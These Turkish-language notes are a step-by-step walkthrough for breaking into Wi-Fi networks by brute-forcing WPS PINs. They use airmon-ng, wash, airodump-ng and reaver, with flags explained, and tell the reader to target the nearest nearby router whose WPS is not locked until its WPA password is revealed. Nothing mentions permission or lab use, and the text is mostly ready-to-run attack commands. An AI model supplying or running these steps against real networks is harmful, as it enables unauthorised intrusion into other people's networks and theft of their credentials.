Notes

Örnek Canlı Senaryo,
Airmon-ng start wlan0

Wash -i mon0 (WPS koruması var mı yok mu.wps locked no yazıyorsa bizim için uygundur.)

Reaver -i wlan0mon -b xx:xx:xx:xx:xx:xx -c 6 -vv -d 5 -f -no-nacks

-b parametresi: Atak yapacağımız bssid numarasını gidiyoruz.

-c : channel numarasını yazıyoruz

-d: PIN denemeleri arasındaki gecikmeyi belirtiyoruz.Deafult da 5 sn yapılması mantıklı.

-f : kanallar arası etkileşimi devre dışı bırakıyoruz.

-no-nacks: gereksiz paket gönderimi kapatılıyor.

WPS PIN bulana kadar işleme devam edicektir bu şekilde.




1-)airmon-ng start wlan0 (Ethernet Monitör Mod a alınır)
2-) Hemen ardından çevredeki kablosuz ağların hangilerinde wps özelliği var buna bakıyoruz
wash -i mon0 -D –C
Bu komut girildiğinde wps özelliği olan tüm kablosuz ağlar kanal numarası, ismi, BSSID, güvenlik modu açıkmı kapalımı, ve çekim gücü gibi özellikleriyle birlikte sıralanacaktır. Biz bize en yakın olan güvenlik modu açık olmayan wps özellikli modemi seçeceğiz. Yakınlığını anlamak için bilgiler bölümünde eksili değerler olacaktır örneğin eksi elli eksi yetmişten bize daha yakındır.
3-) airodump-ng -c CHANNEL -b BSSID -w hedef mon0
Bu komut sayesinde hedefteki modemi dinliyoruz. Komutumuzu biraz inceleyelim öncelikle kırmızı olan yerleri wash komutunu verdiğimiz konsoldaki bilgilere göre dolduracağız yani BSSID yerine hedefteki modemin BSSID adresi gelecek CHANNEL yerinede modemin kanal numarası gelecek mon0 da kartımızın monitör modu aktif olan IDsi

-Şimdide bu konsolu kapatmadan yeni bir konsol açıyoruz ve seçtiğimiz wps özellikli modeme olası bir saldırı yöntemini inceliyoruz. Komutumuz:
4-) reaver -i mon0 -b BSSID -c CHANNEL -a -v -S -x 20 -r 100:10 -l 300
Reaver –i mon0 BSSID –c channel –vv (kısaca bu şekilde de yazabilirsiniz)
Reaver –i mon0 BSSID –c channel –vv –d 0 (kısaca bu şekilde de yazabilirsiniz)
Reaver –i mon0 BSSID –c channel –vv –p (daha önceden bildiğinzi pin kodunu yazabilirsiniz)
reaver -i mon0 -c 11 -b [MAC adres]  -p[WPS PIN]-vv (WPS Pin biliniyorsa bundua deneyebilrsiniz)

-Yine aynı şekilde kırmızı alanları hedefimize göre değiştiriyoruz. Bu işlem sonrasında hedefteki modemin pin kodu teker teker denenmeye başlıyor ve bazen 20 dakikada bazense 1.5 gün gibi bir sürede şifre kırılıyor.
-“WPA PSK:” ihtiyacınız olan şifre, “WPS PIN” yazan pin kodu, “AP SSID” yazansa hedef modemin adı.